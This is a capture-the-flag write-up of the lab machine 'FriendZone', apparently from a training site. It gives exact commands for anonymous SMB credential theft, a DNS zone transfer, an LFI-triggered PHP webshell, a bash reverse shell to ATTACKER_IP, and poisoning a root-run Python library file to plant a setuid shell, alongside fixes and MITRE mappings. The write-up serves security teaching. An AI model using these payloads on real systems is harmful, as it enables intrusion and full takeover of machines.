FriendZone
Summary
I pulled plaintext admin credentials from an open SMB share, then performed an unrestricted DNS zone transfer to discover a hidden administration portal. Logging in with those credentials exposed a Local File Inclusion flaw on the admin dashboard; combined with a second anonymously writable SMB share whose contents mapped directly onto a server-side filesystem path, I planted a PHP webshell and executed it as the web server account.
A plaintext SSH password stored in a web-accessible configuration file provided a stable foothold as a low-privilege user. Finally, a world-writable Python standard library file imported by a root-owned cron job was poisoned, causing the next scheduled execution to create a setuid-root shell binary and deliver complete system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for admin>"
export PASSWORD2="<the-password-you-recovered, for friend>"Attack path — how the box was taken
Exact commands 1
Full-port version scan; add -T4 on a low-latency lab network to reduce run time.
$ nmap -p- -sV $TARGETExact commands 4
List all shares without credentials.
$ smbclient -N -L //$TARGETShow share names and permissions; confirms 'general' READ and 'Development' READ+WRITE with null auth.
$ smbmap -H $TARGETDownload creds.txt anonymously.
$ smbclient //$TARGET/general -N -c 'get creds.txt'Reveals: admin:$PASSWORD
$ cat creds.txtFixRequire authentication on all SMB shares and eliminate guest-writable accessCritical
Exact commands 2
Dumps the full DNS zone; look for A/CNAME records revealing internal vhosts.
$ dig axfr friendzone.red @$TARGETAdd the discovered vhosts so curl and a browser can reach them by name.
$ echo "$TARGET administrator1.friendzone.red uploads.friendzone.red friendzone.red" >> /etc/hostsFixRestrict DNS zone transfers to authorised secondary name servers onlyHigh
Exact commands 2
Write the webshell to a local file first.
$ printf '%s\n' '<?php system($_REQUEST["cmd"]); ?>' > fzcmd.phpUpload to the writable share without credentials; lands at /etc/Development/fzcmd.php on the server.
$ smbclient //$TARGET/Development -N -c 'put fzcmd.php fzcmd.php'Exact commands 3
-sk skips TLS certificate verification for the self-signed cert; -c/-b store and send the session cookie.
$ curl -sk -c cookie.txt -b cookie.txt -d "username=admin&password=$PASSWORD" https://administrator1.friendzone.red/login.phpTrigger the webshell via LFI; response contains uid=33(www-data).
$ curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/Development/fzcmd' --data-urlencode 'cmd=id'Upgrade to a reverse shell; start nc -lvnp 4444 on my machine ($ATTACKER_IP) first.
$ curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/Development/fzcmd' --data-urlencode 'cmd=bash -c "bash -i >%26 /dev/tcp/'"$ATTACKER_IP"'/4444 0>%261"'FixFix the Local File Inclusion vulnerability in dashboard.phpCritical
Exact commands 3
Read the config file through the webshell; reveals friend's SSH password.
$ curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/Development/fzcmd' --data-urlencode 'cmd=cat /var/www/admin/mysql_data.conf'Password: $PASSWORD2
$ ssh friend@$TARGETUser flag: <user.txt>
$ cat /home/friend/user.txtFixRemove plaintext credentials from web-accessible configuration filesHigh
Exact commands 4
Confirm world-writable os.py and verify reporter.py imports os.
$ curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/Development/fzcmd' --data-urlencode 'cmd=ls -la /usr/lib/python2.7/os.py /opt/server_admin/reporter.py && cat /opt/server_admin/reporter.py'Write the payload to a temp file and upload via SMB to avoid shell-quoting nightmares; then append via webshell in the next command.
$ printf 'try:\n system("/bin/sh -c \"if [ $(id -u) = 0 ]; then cp /bin/bash /tmp/fzrootbash; chmod 4755 /tmp/fzrootbash; fi\"")\nexcept Exception:\n pass\n' > /tmp/payload.py && smbclient //$TARGET/Development -N -c 'put /tmp/payload.py payload.py'Append the payload to os.py through the webshell.
$ curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/Development/fzcmd' --data-urlencode 'cmd=cat /etc/Development/payload.py >> /usr/lib/python2.7/os.py'Poll roughly every 60 s; when output shows -rwsr-xr-x 1 root root the cron job has fired.
$ curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/Development/fzcmd' --data-urlencode 'cmd=ls -la /tmp/fzrootbash'FixRemove world-writable permissions from Python library files and run cron jobs with least privilegeCritical
Exact commands 1
-p preserves the setuid effective UID; output includes euid=0(root) and the root flag: <root.txt>
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null friend@$TARGET '/tmp/fzrootbash -p -c "id; cat /root/root.txt"'
euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.